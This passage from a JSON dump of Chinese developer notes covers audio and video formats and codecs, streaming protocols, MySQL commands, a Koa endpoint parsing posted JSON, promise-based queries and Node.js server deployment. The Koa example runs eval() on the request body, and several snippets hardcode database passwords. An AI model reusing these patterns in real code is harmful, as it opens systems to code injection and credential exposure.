对`CPU`要求高、效率低、发热大                 \n\n\t          \n关于软解与硬解究竟哪个更好的问题一直是争论的热点，其实我倒是感觉没有好坏之分，各自有各自的优缺点和使用条件，根据需要去选择才是最合适的。 \n播放码率比较大的视频，硬解可能流畅的播放，但是软解可能会出现演示、画面和声音卡顿不同步的问题。但是硬解播放出的视频大多都不允许在解码之后进行软件后处理，比如进行一些降噪锐化之类的后期滤镜，\n这样可能会让人感觉画质不太好的。当然上面的这种情况也是和`CPU`及`GPU`能力的不同而不同的。 总的来说，还是各有春秋，适合你的才是最好的。 \n\n    \n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/VideoDevelopment/音视频基础知识.md",
    "content": "音视频基础知识\n===\n\n\n基本概念\n---\n\n- ***媒体***：是表示，传输，存储信息的载体，常人们见到的文字、声音、图像、图形等都是表示信息的媒体。\n- ***多媒体***：是声音、动画、文字、图像和录像等各种媒体的组合，以图文并茂，生动活泼的动态形式表现出来，给人以很强的视觉冲击力，留下深刻印象.\n- ***多媒体技术***：是将文字、声音、图形、静态图像、动态图像与计算集成在一起的技术。它要解决的问题是计算机进一步帮助人类按最自然的和最习惯的方式接受和处理信息。\n- ***流媒体***：流媒体是指采用流式传输的方式在`Internet`播放的连续时基媒体格式，实际指的是一种新的媒体传送方式，而不是一种新的媒体格式（在网络上传输音/视频等多媒体信息现在主要有下载和流式传输两种方式）流式传输分两种方法：实时流式传输方式(`Realtime Streaming`)和顺序流式传输方式(`Progressive Streaming`)。\n- ***多媒体文件***:是既包括视频又包括音频，甚至还带有脚本的一个集合，也可以叫容器。\n- ***媒体编码***:是文件当中的视频和音频所采用的压缩算法。也就是说一个`avi`的文件，当中的视频编码有可能是`A`，也可能是`B`，而其音频编码有可能是`1`，也有可能是`2`。\n- ***转码***:指将一段多媒体包括音频、视频或者其他的内容从一种编码格式转换成为另外一种编码格式。\n- ***帧***:帧就是一段数据的组合，它是数据传输的基本单位。就是影像动画中最小单位的单幅影像画面，相当于电影胶片上的每一格镜头。一帧就是一副静止的画面，连续的帧就形成动画，如电视图像等。\n- ***视频***：连续的图象变化每秒超过24帧(`Frame`)画面以上时，根据视觉暂留原理，人眼无法辨别单幅的静态画面，看上去是平滑连续的视觉效果，这样连续的画面叫做视频.\n- ***音频***:人类能听到的声音都成为音频，但是一般我们所说到的音频时存储在计算机里的声音。\n- ***码率***:码率就是数据传输时单位时间传送的数据位数,一般我们用的单位是`kbps`即千位每秒。 通俗一点的理解就是取样率，单位时间内取样率越大，精度就越高，处理出来的文件就越接近原始文件，但是文件体积与取样率是成正比的，所以几乎所有的编码格式重视的都是如何用最低的码率达到最少的失真。但是因为编码算法不一样，所以也不能用码率来统一衡量音质或者画质.\n- ***帧率***:帧/秒(`frames per second`)的缩写帧率即每秒显示帧数，帧率表示图形处理器处理场时每秒钟能够更新的次数。高的帧率可以得到更流畅、更逼真的动画。一般来说`30fps`就是可以接受的，但是将性能提升至`60fps`则可以明显提升交互感和逼真感，但是一般来说超过`75fps`一般就不容易察觉到有明显的流畅度提升了。如果帧率超过屏幕刷新率只会浪费图形处理的能力，因为监视器不能以这么快的速度更新，这样超过新率的帧率就浪费掉了。\n- ***关键帧***:相当于二维动画中的原画，指角色或者物体运动或变化中的关键动作所处的那一帧，它包含了图像的所有信息，后来帧仅包含了改变了的信息。如果你没有足够的关键帧，你的影片品质可能比较差，因为所有的帧从别的帧处产生。对于一般的用途，一个比较好的原则是每5秒设一个关键键。但如果时那种实时传输的流文件，那么要考虑传输网络的可靠度，所以要1到2秒增加一个关键帧。\n\n\n\n\n视频格式(封装格式/容器)\n---\n\n目前我们经常见的视频格式无非就是两大类： \n\n1. 影像格式（Video）\n2. 流媒体格式（Stream Video）\n\n在影像格式中还可以根据出处划分为三大种:   \n\n1. `AVI`格式      \n    `AVI`英文全称为`Audio Video Interleaved`，即音频视频交错格式，是微软公司于1992年11月推出、作为其`Windows`视频软件一部分的一种多媒体容器格式。\n    `AVI`文件将音频（语音）和视频（影像）数据包含在一个文件容器中，允许音视频同步回放。类似`DVD`视频格式，`AVI`文件支持多个音视频流。`AVI`信息主要应用在多媒体光盘上，用来保存电视、电影等各种影像信息。    \n    其中数据块包含实际数据流，即图像和声音序列数据。这是文件的主体，也是决定文件容量的主要部分。视频文件的大小等于该文件的数据率乘以该视频播放的时间长度，\n    索引块包括数据块列表和它们在文件中的位置，以提供文件内数据随机存取能力。文件头包括文件的通用信息，定义数据格式，所用的压缩算法等参数。      \n    `AVI`没有`MPEG`这么复杂，从`Windows 3.1`时代，它就已经面世了。它最直接的优点就是兼容好、调用方便而且图象质量好，因此也常常与`DVD`相并称。\n    但它的缺点也是十分明显的：体积大。也是因为这一点，我们才看到了`MPEG-1`和`MPEG-4`的诞生。2小时影像的`AVI`文件的体积与`MPEG-2`相差无几，\n    不过这只是针对标准分辨率而言的：根据不同的应用要求，`AVI`的分辨率可以随意调。窗口越大，文件的数据量也就越大。降低分辨率可以大幅减低它的体积，\n    但图象质量就必然受损。与`MPEG-2`格式文件体积差不多的情况下，`AVI`格式的视频质量相对而言要差不少，但制作起来对电脑的配置要求不高，经常有人先录制好了`AVI`格式的视频，再转换为其他格式。\n2. `MOV`格式\n    `MOV`即`QuickTime`影片格式，它是`Apple`公司开发的一种音频、视频文件格式，用于存储常用数字媒体类型。当选择`QuickTime（*.mov）`作为“保存类型”时，动画将保存为`·mov`文件。`QuickTime`用于保存音频和视频信息，包括`Apple Mac OS，MicrosoftWindows95/98/NT/2003/XP/VISTA`，甚至`WINDOWS7`在内的所有主流电脑平台支持。`QuickTime`因具有跨平台、存储空间要求小等技术特点，而采用了有损压缩方式的`MOV`格式文件，画面效果较AVI格式要稍微好一些。到目前为止，它共有4个版本，其中以`4.0`版本的压缩率最好。这种编码支持16位图像深度的帧内压缩和帧间压缩，帧率每秒10帧以上。这种格式有些非编软件也可以对它实行处理，其中包括`ADOBE`公司的专业级多媒体视频处理软件`AFTEREFFECTS和PREMIERE`。\n\n3. `MPEG/MPG/DAT`:\n    这是由国际标准化组织`ISO(International Standards Organization)`与`IEC(International Electronic Committee)`联合开发的一种编码视频格式。`MPEG`是运动图像压缩算法的国际标准，现已被几乎所有的计算机平台共同支持。MPEG也是`Motion Picture Experts Group`的缩写。这类格式包括了`MPEG-1, MPEG-2`和`MPEG-4`在内的多种视频格式。`MPEG-1`相信是大家接触得最多的了，因为目前其正在被广泛地应用在`VCD`的制作和一些视频片段下载的网络应用上面，大部分的`VCD`都是用 `MPEG1`格式压缩的( 刻录软件自动将`MPEG1`转为`.DAT`格式)，使用`MPEG-1`的压缩算法，可以把一部120分钟长的电影压缩到1.2GB左右大小。`MPEG-2`则是应用在`DVD` 的制作，同时在一些`HDTV`（高清晰电视广播）和一些高要求视频编辑、处理上面也有相当多的应用。使用`MPEG-2`的压缩算法压缩一部120分钟长的电影可以压缩到5-8GB的大小（`MPEG2`的图像质量`MPEG-1`与其无法比拟的）。\n\n在流媒体格式中同样还可以划分为三种:      \n\n1. `RM`格式\n    `Real Networks`公司所制定的音频/视频压缩规范`Real Media`中的一种，`Real Player`能做的就是利用`Internet`资源对这些符合`Real Media`技术规范的音频/视频进行实况转播。在`Real Media`规范中主要包括三类文件：`RealAudio`、`Real Video`和`Real Flash`（`Real Networks`公司与`Macromedia`公司合作推出的新一代高压缩比动画格式）。`REAL VIDEO`（RA、RAM）格式由一开始就是定位就是在视频流应用方面的，也可以说是视频流技术的始创者。它可以在用56K`MODEM`拨号上网的条件实现不间断的视频播放，从`RealVideo`的定位来看，就是牺牲画面质量来换取可连续观看性。其实`RealVideo`也可以实现不错的画面质量，由于`RealVideo`可以拥有非常高的压缩效率，很多人把`VCD`编码成`RealVideo`格式的，这样一来，一张光盘上可以存放好几部电影。`REAL VIDEO`存在颜色还原不准确的问题，`RealVideo`就不太适合专业的场合，但`RealVideo`出色的压缩效率和支持流式播放的特征，使得`RealVideo`在网络和娱乐场合占有不错的市场份额。\n2. `MOV/QT`格式\n    `MOV`也可以作为一种流文件格式。`QuickTime`能够通过`Internet`提供实时的数字化信息流、工作流与文件回放功能，为了适应这一网络多媒体应用，`QuickTime`为多种流行的浏览器软件提供了相应的`QuickTime Viewer`插件，能够在浏览器中实现多媒体数据的实时回放。\n3. `ASF`格式\n    `ASF`(`Advanced Streaming format`高级流格式)。`ASF`是`MICROSOFT`为了和现在的`Real player`竞争而发展出来的一种可以直接在网上观看视频节目的文件压缩格式。`ASF`使用了`MPEG4`的压缩算法，压缩率和图像的质量都很不错。因为`ASF`是以一个可以在网上即时观赏的视频“流”格式存在的，所以它的图像质量比`VCD`差一点点并不出奇，但比同是视频“流”格式的`RAM`格式要好。 `ASF`支持任意的压缩/解压缩编码方式，并可以使用任何一种底层网络传输协议，具有很大的灵活性。`ASF`流文件的数据速率可以在`28.8Kbps`到`3Mbps`之间变化。用户可以根据自己应用环境和网络条件选择一个合适的速率，实现`VOD`点播和直播。\n\n4. `FLV`格式`FLV`是`FLASH VIDEO`的简称，一种流媒体封装格式，`FLV`流媒体格式是随着`Flash MX`的推出发展而来的视频格式。由于它形成的文件极小、加载速度极快，使得网络观看视频文件成为可能，它的出现有效地解决了视频文件导入`Flash`后，使导出的`SWF`文件体积庞大，不能在网络上很好的使用等问题。因此`FLV`格式成为了当今主流视频格式\n\n\n音视频压缩编码标准\n---\n\n\n多媒体编辑码方式就是指通过特定的压缩技术，将某个视频格式的文件转换成另一种视频格式文件的方式，现在主要的编码方式有:    \n\n- `MPEG`系列:由国际标准组织机构(`ISO`)下属的运动图象专家组(`MPEG`)开发。视频编码方面主要是`Mpeg1`、`Mpeg2`、`Mpeg4`、`Mpeg4 AVC`。音频编码方面主要是`MPEG Audio Layer 1/2`、`MPEG Audio Layer 3`、`MPEG-2 AAC`、`MPEG-4 AAC`等等:   \n\n    - `MPEG-1`第二部分，主要使用在`VCD`上，有些在线视频也使用这种格式。该编解码器的质量大致上和原有的`VHS`录像带相当。\n    - `MPEG-2`第二部分，等同于`H.262`，使用在`DVD`、`SVCD`和大多数数字视频广播系统和有线分布系统中。\n    - `MPEG-4`第二部分，可以使用在网络传输、广播和媒体存储上。比起`MPEG-2`第二部分和第一版的`H.263`，它的压缩性能有所提高。\n    - `MPEG-4`第十部分，等同于`H.264`，是这两个编码组织合作诞生的标准。\n\n\n- `H.26X`系列：由国际电传视讯联盟远程通信标准化组织(`ITU-T`)主导，包括`H.261`、`H.262`、`H.263`、`H.264`、`H.265`。\n    - `H.261`主要用于老的视频会议和视频电话系统。是第一个使用的数字视频压缩标准。实质上说，之后的所有的标准视频编解码器都是基于它设计的。\n    - `H.262`等同于`MPEG-2`第二部分，使用在`DVD`、`SVCD`和大多数数字视频广播系统和有线分布系统中。\n    - `H.263`主要用于视频会议、视频电话和网络视频相关产品。在对逐行扫描的视频源进行压缩的方面，`H.263` 比它之前的视频编码标准在性能上有了较大的提升。尤其是在低码率端，它可以在保证一定质量的前提下大大的节约码率。\n    - `H.264`等同于`MPEG-4`第十部分，也被称为高级视频编码(`Advanced Video Coding`，简称 `AVC`)，是一种视频压缩标准，一种被广泛使用的高精度视频的录制、压缩和发布格式。该标准引入了一系列新的能够大大提高压缩性能的技术，并能够同时在高码率端和低码率端大大超越以前的诸标准。\n    - `H.265`被称为高效率视频编码(`High Efficiency Video Coding`，简称`HEVC`)是一种视频压缩标准，是`H.264`的继任者。`HEVC` 被认为不仅提升图像质量，同时也能达到`H.264`两倍的压缩率（等同于同样画面质量下比特率减少了50%），可支持`4K` 分辨率甚至到超高画质电视，最高分辨率可达到`8192×4320`(`8K`分辨率)，这是目前发展的趋势。\n\n\n- 微软`Windows Media`系列:视频编码有`Mpeg-4 v1/v2/v3`、`Windows Media Video 7/8/9/10`；音频编码有`Windows Media audeo v1/v2/7/8/9`。    \n- `Real Media`系列:视频编码有`RealVideo G2`、`RealVideo 8/9/10`；音频编码有`RealAudio cook/sipro`、`RealAudio AAC/AACPlus`等。  \n- `QuickTime`系列:视频编码有`Sorenson Video 3`、`Apple MPEG-4`、`Apple H.264`；音频编码有`QDesign Music 2`、`Apple MPEG-4 AAC`。   \n- 其它如：`Ogg`、`On2-vpx`、`flash vidio`，以及`M-JPEG`视频压缩方式。    \n\n\n#### 音频编解码方式\n\n视频中除了画面通常还有声音，所以这就涉及到音频编解码。在视频中经常使用的音频编码方式有: \n\n- `AAC`:(`Advanced Audio Coding`)，是由`Fraunhofer IIS`、`杜比实验室`、`AT&T`、`Sony`等公司共同开发，在1997年推出的基于`MPEG-2` 的音频编码技术。2000年，`MPEG-4`标准出现后，`AAC`重新集成了其特性，加入了`SBR`技术和`PS`技术，为了区别于传统的`MPEG-2 AAC`又称为`MPEG-4 AAC`。\n- `MP3`:(`MPEG-1 or MPEG-2 Audio Layer III`)，是当曾经非常流行的一种数字音频编码和有损压缩格式，它被设计来大幅降低音频数据量。它是在1991 年，由位于德国埃尔朗根的研究组织`Fraunhofer-Gesellschaft`的一组工程师发明和标准化的。`MP3`的普及曾对音乐产业造成极大的冲击与影响。\n- `WMA`:(`Windows Media Audio`)由微软公司开发的一种数字音频压缩格式，本身包括有损和无损压缩格式。\n\n\n一些音视频的参数含义\n---\n\n***声道***：目前人们所使用的各种声场技术规范非常多，但最常见的几乎都来自三家公司，他们是`Dolby`（杜比）、`HTX`和`DTS`。\n\n声卡所支持的声道数是衡量声卡档次的重要指标之一，从单声道到最新的环绕立体声，下面一一详细介绍：\n\n- 单声道：单声道是比较原始的声音复制形式，早期的声卡采用的比较普遍。当通过两个扬声器回放单声道信息的时候，我们可以明显感觉到声音是从两个音箱中间传递到我们耳朵里的。\n这种缺乏位置感的录制方式用现在的眼光看自然是很落后的，但在声卡刚刚起步时，已经是非常先进的技术了。\n- 立体声：单声道缺乏对声音的位置定位，而立体声技术则彻底改变了这一状况。声音在录制过程中被分配到两个独立的声道，从而达到了很好的声音定位效果。\n这种技术在音乐欣赏中显得尤为有用，听众可以清晰地分辨出各种乐器来自的方向，从而使音乐更富想象力，更加接近于临场感受。立体声技术广泛运用于自`Sound Blaster Pro`以后的大量声卡，成为了影响深远的一个音频标准。时至今日，立体声依然是许多产品遵循的技术标准。\n- 准立体声：准立体声声卡的基本概念就是：在录制声音的时候采用单声道，而放音有时是立体声，有时是单声道。采用这种技术的声卡也曾在市面上流行过一段时间，但现在已经销声匿迹了。\n- 四声道环绕：人们的欲望是无止境的，立体声虽然满足了人们对左右声道位置感体验的要求，但是随着技术的进一步发展，大家逐渐发现双声道已经越来越不能满足我们的需求。\n由于`PCI`声卡的出现带来了许多新的技术，其中发展最为神速的当数三维音效。三维音效的主旨是为人们带来一个虚拟的声音环境，通过特殊的HRTF技术营造一个趋于真实的声场，\n从而获得更好的游戏听觉效果和声场定位。而要达到好的效果，仅仅依靠两个音箱是远远不够的，所以立体声技术在三维音效面前就显得捉襟见肘了，但四声道环绕音频技术则很好的解决了这一问题。\n四声道环绕规定了4个发音点：前左、前右，后左、后右，听众则被包围在这中间。同时还建议增加一个低音音箱，以加强对低频信号的回放处理(这也就是如今4.1声道音箱系统广泛流行的原因)。\n就整体效果而言，四声道系统可以为听众带来来自多个不同方向的声音环绕，可以获得身临各种不同环境的听觉感受，给用户以全新的体验。如今四声道技术已经广泛融入于各类中高档声卡的设计中，\n成为未来发展的主流趋势。\n- 5.1声道:5.1声道已广泛运用于各类传统影院和家庭影院中，一些比较知名的声音录制压缩格式，譬如杜比`AC-3`（`Dolby Digital`）、`DTS`等都是以5.1声音系统为技术蓝本的。其实5.1声音系统来源于4.1环绕，不同之处在于它增加了一个中置单元。这个中置单元负责传送低于`80Hz`的声音信号，在欣赏影片时有利于加强人声，把对话集中在整个声场的中部，以增加整体效果。相信每一个真正体验过`DolbyAC-3`音效的朋友都会为5.1声道所折服。千万不要以为5.1已经是环绕立体声的顶峰了，更强大的7.1系统已经出现了。\n它在5.1的基础上又增加了中左和中右两个发音点，以求达到更加完美的境界。由于成本比较高，没有广泛普及。\n\n\n\n流媒体协议\n---\n \n- `RTP`:(`Real-time Transport Protocol`)实时传输协议，是一种网络传输协议，运行在`UDP` 协议之上，`RTP`协议详细说明了在互联网上传递音频和视频的标准数据包格式。`RTP`协议常用于流媒体系统（配合`RTSP`协议）。\n\n- `RTCP`:(Real-time Transport Control Protocol)或`RTP Control Protocol`或简写`RTCP`，实时传输控制协议，是实时传输协议（`RTP`）的一个姐妹协议。`RTCP`为`RTP`媒体流提供信道外(`out-of-band`)控制。`RTCP`本身并不传输数据，但和`RTP`一起协作将多媒体数据打包和发送。`RTCP` 定期在流多媒体会话参加者之间传输控制数据。`RTCP`的主要功能是为`RTP`所提供的服务质量（`Quality of Service`）提供反馈。\n\n- `RTSP`:(`Real Time Streaming Protocol`)实时流传输协议实时流传输协议，是用来控制声音或影像的多媒体串流协议，`RTSP`提供了一个可扩展框架，使实时数据，如音频与视频的受控、点播成为可能。该协议定义了一对多应用程序如何有效地通过`IP`网络传送多媒体数据。`RTSP` 在体系结构上位于`RTP`和`RTCP`之上，它使用`TCP`或`UDP`完成数据传输。使用`RTSP`时，客户机和服务器都可以发出请求，即`RTSP`可以是双向的。\n`RTSP`与`RTP`最大的区别在于：`RTSP`是一种双向实时数据传输协议，它允许客户端向服务器端发送请求，如回放、快进、倒退等操作。当然，`RTSP`可基于`RTP`来传送数据，还可以选择`TCP`、`UDP`、组播`UDP`等通道来发送数据，具有很好的扩展性。它时一种类似与`http`协议的网络应用层协议。\n\n- `RTMP`:（`Real Time Messaging Protocol`)实时消息传送协议，是`Adobe Systems`公司为`Flash`播放器和服务器之间音频、视频和数据传输开发的开放协议。协议基于`TCP`，是一个协议族，包括`RTMP`基本协议及`RTMPT/RTMPS/RTMPE`等多种变种。`RTMP` 是一种设计用来进行实时数据通信的网络协议，主要用来在`Flash/AIR`平台和支持`RTMP`协议的流媒体/交互服务器之间进行音视频和数据通信。\n\n- `HLS`:(`HTTP Live Streaming`)是苹果公司实现的基于`HTTP`的流媒体传输协议，可实现流媒体的直播和点播，主要应用在`IOS`系统，为`IOS`设备提供音视频直播和点播方案。`HLS`点播，基本上就是常见的分段`HTTP`点播，不同在于，它的分段非常小。相对于常见的流媒体直播协议，例如`RTMP`协议、`RTSP`协议、`MMS`协议等，`HLS`直播最大的不同在于，直播客户端获取到的，并不是一个完整的数据流。`HLS`协议在服务器端将\n直播数据流存储为连续的、很短时长的媒体文件（`MPEG-TS`格式），而客户端则不断的下载并播放这些小文件。因为服务器端总是会将最新的直播数据生成新的小文件，这样客户端只要不停的按顺序播放从服务器获取到的文件，就实现了直播。由此可见，基本上可以认为，`HLS`是以点播的技术方式来实现直播。由于数据通过`HTTP`协议传输，所以完全不用考虑防火墙或者代理的问题，而且分段文件的时长很短，客户端可以很快的选择和切换码率，以适应不同带宽条件下的播放。不过`HLS`的这种技术特点，决定了它的延迟一般总是会高于普通的流媒体直播协议。\n\n- `HTTP`:(`HyperText Transfer Protocol`)超文本传输协议，运行在`TCP`之上，这个协议是大家非常熟悉的，它也可以用到视频业务中来。 \n\n\n***视频编码标准和音频编码标准是`H.264`和`AAC`，这两种标准分别是当今实际应用中编码效率最高的视频标准和音频标准。***\n\n\n相关知识: \n\n- [封装格式](https://en.wikipedia.org/wiki/Comparison_of_video_container_formats)\n- [视频编码方式](https://en.wikipedia.org/wiki/Comparison_of_video_codecs)\n- [音频编码方式](https://en.wikipedia.org/wiki/Comparison_of_audio_coding_formats)\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/WebNote/MySQL相关/ERROR-1045-(28000)--Access-denied-for-user-'debian-sys-maint'@'localho.md",
    "content": "> 原本linux（Ubuntu）上面安装mysql是非常简单的事情，但是我今天真是b了狗了，装个mysql，运行各种失败，希望大家以后遇到这个问题别这么难过啦。\n\n\n````\nERROR 1045 (28000): Access denied for user 'ubuntu'@'localhost' (using password: YES)\nERROR 1045 (28000): Access denied for user 'ubuntu'@'localhost' (using password: NO)\n````\n\n\n![Paste_Image.png](http://upload-images.jianshu.io/upload_images/2585384-3889166b952adcb3.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n\n![Paste_Image.png](http://upload-images.jianshu.io/upload_images/2585384-7adc01e923ec74f7.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n其实这里面提供了，我们可以登录的账号密码，只需要暂时用这个登录，然后再授权一个新用户就行。\n\n以上便是这个问题的解决方案啦。\n\n\n\n\n\n"
  },
  {
    "path": "docs/android/AndroidNote/WebNote/MySQL相关/Error--ER_TRUNCATED_WRONG_VALUE_FOR_FIELD.md",
    "content": "![错误截图](http://upload-images.jianshu.io/upload_images/2585384-23615f16a18323d9.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n> 形如上面的错误，发生在向mysql数据库中插入中文的时候，编码格式遇到了问题，上Stack Overflow看了一下，应该是编码格式的问题。\n\n解决方法是改变数据库的编码格式：\n\n```\nmysql> alter database test character set gbk;\n```\n这样我们数据库的编码格式就发生了改变，就可以插入中文了。但是原有已经有了的表还是不可以，因为已经有的表的编码格式还是默认的，所以需要将原有的表也改变一下：\n\n```\nmysql> alter table test character set gbk;\n```\n\n好了，到这问题就解决啦~~\n"
  },
  {
    "path": "docs/android/AndroidNote/WebNote/MySQL相关/Mysql导出数据库、表(有无数据).md",
    "content": "> 在命令行下导出数据库、表(有无数据)具体用法如下： \n\n```\nmysqldump -u用戶名 -p密码 -d 数据库名 表名 > 脚本名;\n ```\n\n\n![效果图](http://upload-images.jianshu.io/upload_images/2585384-8acc14df2492d804.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n\n---\n\n导出整个数据库结构和数据:\n```\nmysqldump -h localhost -uroot -p123456 database > dump.sql\n```\n ----\n\n导出单个数据表结构和数据:\n\n```\nmysqldump -h localhost -uroot -p123456  database table > dump.sql\n```\n ---\n\n \n\n导出整个数据库结构（不包含数据）:\n\n```\n\nmysqldump -h localhost -uroot -p123456  -d database > dump.sql\n\n ```\n----\n\n导出单个数据表结构（不包含数据）:\n\n```\nmysqldump -h localhost -uroot -p123456  -d database table > dump.sql\n\n```\n\n----\n如果提示权限异常，请注意，是否在当前目录下具有写文件的权利，如果没有可以切换到别的目录下面，再执行这个操作。\n"
  },
  {
    "path": "docs/android/AndroidNote/WebNote/MySQL相关/mysql基础操作.md",
    "content": "创建数据库：\n````\ncreate database db_biology;\n````\n操作该数据库：\n````\nuse db_biology;\n````\n导入表到制定数据库\n````\nmysql -u用户名 -p 数据库名 < 数据库名.sql\n#mysql -uroot -p abc < abc.sql\n````\n"
  },
  {
    "path": "docs/android/AndroidNote/WebNote/MySQL相关/云服务器linux下安装MySQL.md",
    "content": "1.linux下安装mysql：\n````\nsudo apt-get update\nsudo apt-get install mysql-client-core-5.6\nsudo apt-get install mysql-client-5.6\nsudo apt-get install mysql-server-5.6\n````\n\n以上便是安装MySQL的全过程了。\n\n----\n2.查看是否运行：\n````\nps -ef | grep mysql\n````\n----\n3.MySQL的停止：\n````\nsudo service mysql stop\n````\n----\n4.MySQL的开启：\n````\nsudo service mysql start\n````\n----\n5.MySQL的重启：\n````\nservice mysql restart\n````\n----\n6.MySQL的登录\n````\nmysql -u root -p #这里面的root是用户名\n````\n\n\n\n\n\n\n\n\n\n"
  },
  {
    "path": "docs/android/AndroidNote/WebNote/NodeJS相关/koa框架对post内容读取并解析.md",
    "content": "> 最近在写一个小项目，需要涉及到前端向后端发送一个jsonArray，然后我们后端采用的是node的koa框架，所以需要用http发送，然后这个http包含着一个content即可\n\n````\n移动端的发送代码\n\nJSONArray jsonArray = new JSONArray();\n                for (int i = 0; i < 5; i++) {\n                    JSONObject object = new JSONObject();\n                    try {\n                        object.put(\"user_id\", \"11111111111\");\n                        object.put(\"user_name\", \"2222222222\");\n                        object.put(\"user_phone\", \"33333333333\");\n                        object.put(\"user_address\", \"444444444444\");\n                        object.put(\"product_id\", \"5555555555\");\n                        object.put(\"product_name\", \"666666666666\");\n                        object.put(\"product_price\", \"77777777777\");\n                        object.put(\"product_count\", \"88888888888\");\n                    } catch (JSONException e) {\n                        Log.i(\"lin\", \"---lin's log--->   进入 catch\");\n                        e.printStackTrace();\n                    }\n                    jsonArray.put(object);\n                }\n                String content = jsonArray.toString();\n                OkHttpUtils\n                        .postString()\n                        .url(\"http://172.20.10.4:3008/testjson\")\n                        .content(content)\n                        .build()\n                        .execute(new StringCallback() {\n                            @Override public void onError(Request request, Exception e) {\n                                Toast.makeText(TestActivity.this, \"error\", Toast.LENGTH_SHORT).show();\n                                Log.i(\"lin\", \"---lin's log--->   error   \" + e.toString());\n                            }\n\n                            @Override public void onResponse(String response) {\n                                Toast.makeText(TestActivity.this, \"onResponse\", Toast.LENGTH_SHORT).show();\n                                Log.i(\"lin\", \"---lin's log--->   response    \" + response);\n                            }\n                        });\n\n\n````\n\n\n后端接收的代码：\n\n````\nvar koa = require('koa');\nvar controller = require('koa-route');\nvar parse = require('co-body');\nvar app = koa();\n\napp.use(controller.post('/testjson', function*() {\n    console.log(\"接收到请求~\");\n    var item = yield parse(this);\n    var jsonList = eval(item);\n    for (var i = 0; i < jsonList.length; i++) {\n        console.log(jsonList[i].user_id);\n        console.log(jsonList[i].user_name);\n    }\n\n    this.set('Cache-Control', 'no-cache');\n    this.body = \"100\";\n}));\n\n\n\n\n````\n\n\n![效果图](http://upload-images.jianshu.io/upload_images/2585384-de9c26d5e62ee471.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n以上便可以实现，前端向后端发送jsonArray并将其解析的过程啦~\n\n\n\n\n\n\n\n\n\n\n\n\n\n"
  },
  {
    "path": "docs/android/AndroidNote/WebNote/NodeJS相关/nodejs查询数据库后将值返回前端.md",
    "content": "> nodejs最大的优势也是大家用着最为难以理解的一点，就是它的异步功能，它几乎所有的io操作都是异步的，这也就导致很多人不理解也用不习惯。\n\n前几天在项目中遇到这样一个问题，就是前端触发某个请求，想要查询数据库并且返回这个值，但是无论如何都返回不回来，因为没等到查询完毕，就过早的将空数据返回回来了，这个困扰了我许久，当时想到一些替代的方法，都是不治本的方法，今天打算用promise重新解决这个问题。\n\npromise的作用是让原本异步执行的代码变成类似同步执行，就是在执行完之后，会将结果返回回来。当然，我目前也只对promise只有一个浅显的理解，在之后也会深入学习的，下面说一下这个问题是怎么解决的。\n\n````\napp.use(controller.get('/aaa', function*() {\n    this.set('Cache-Control', 'no-cache');\n    var data = yield service.bbb();\n    this.body = data;\n}));\n````\n\n我们可以使用koa框架中的yield，promise可以作为它的返回参数。\n\n\n````\nexports.bbb = function () {\n    var promise = new Promise(function (resolve, reject) {\n    var mysql = require('mysql');\n    var connection = mysql.createConnection({\n        host: '127.0.0.1',\n        user: 'root',\n        password: 'root',\n        port: '3306',\n        database: 'db_biology'\n    });\n    connection.connect();\n    connection.query(\n        \"SELECT * FROM Sheet1\",\n        function selectCb(err, results) {\n            if (results) {\n                console.log(results);\n                //resolve(results);\n                resolve(results);\n            }\n            if (err) {\n                console.log(err);\n            }\n            connection.end();\n        }\n    );\n});\npromise.then(function (value) {\n    console.log(value);\n    return value;\n    // success\n}, function (value) {\n    // failure\n});\nreturn promise;\n};\n````\n\n只需要利用promise就可以实现我们以前直接return的结果了，这样就优雅的将异步代码变成了同步的了~\n\n\n\n\n\n\n\n"
  },
  {
    "path": "docs/android/AndroidNote/WebNote/NodeJS相关/nodejs项目在云服务器的部署.md",
    "content": "> 最近写了个小小的网站，折腾了好久啦，最开始使用Python的flask写的，后来感觉不是很方便于维护，而且想试试nodejs，就重新写了一遍，当然工程很小，两三天就写完了，不过中间也是吃了不少苦，掉了很多根头发的。下面为大家介绍一下nodejs怎么部署。\n\n> 良心的我，还是要给腾讯云打波广告的，原价65的云服务器，配置还可以，还有公网ip的，学生优惠只需要1元钱，全部审核过程只用了不到五分钟，总而言之非常nice。\n\n1. 打开控制台，利用ssh命令连接上服务器\n\n````\nssh ubuntu@139.199.177.20\n````\n----\n2.看到这样的字样就代表登录成功啦\n\n````\nWelcome to Ubuntu 16.04.1 LTS (GNU/Linux 4.4.0-53-generic x86_64)\n\n * Documentation:  https://help.ubuntu.com\n * Management:     https://landscape.canonical.com\n * Support:        https://ubuntu.com/advantage\n\n````\n----\n3.我们下载包的管理工具，并且更新一下数据源\n````\nsudo apt install yum\n````\n以上在下载yum包管理工具\n\n----\n\n4.进入/usr/src路径，下载nodejs并解压\n````\ncd /usr/src \nsudo wget http://nodejs.org/dist/v0.10.18/node-v0.10.18.tar.gz \ntar zxf node-v0.10.18.tar.gz \n````\n----\n5.进入到解压完的文件,执行编译预处理，开始编译\n````\ncd node-v0.10.18\n./configure\nsudo make\n````\n----\n6.执行make install，nodejs就安装完毕了\n````\nsudo make install\n````\n\n----\n7.安装forever，安装完成后，建立软连接\n````\nnpm -g install express forever\n\nsudo ln -s /usr/local/bin/node /usr/bin/node \nsudo ln -s /usr/local/lib/node /usr/lib/node \nsudo ln -s /usr/local/bin/npm /usr/bin/npm \nsudo ln -s /usr/local/bin/node-waf /usr/bin/node-waf \nsudo ln -s /usr/local/bin/forever /usr/bin/forever\n````\n----\n8.只需要上传我们的代码，然后运行就可以啦\n运行：\n````\nsudo forever start server.js\n````\n\n查看应用列表：\n````\nsudo forever list\n````\n\n关闭应用：\n````\nsudo forever stop 0\n````\n\n\n\n\n\n\n\n\n\n\n\n\n\n"
  },
  {
    "path": "docs/android/AndroidNote/WebNote/NodeJS相关/test.html",
    "content": "/**\n * Created by linSir on 2017/7/3.\n */\n"
  },
  {
    "path": "docs/android/AndroidNote/WebNote/NodeJS相关/淘宝cnpm.md",
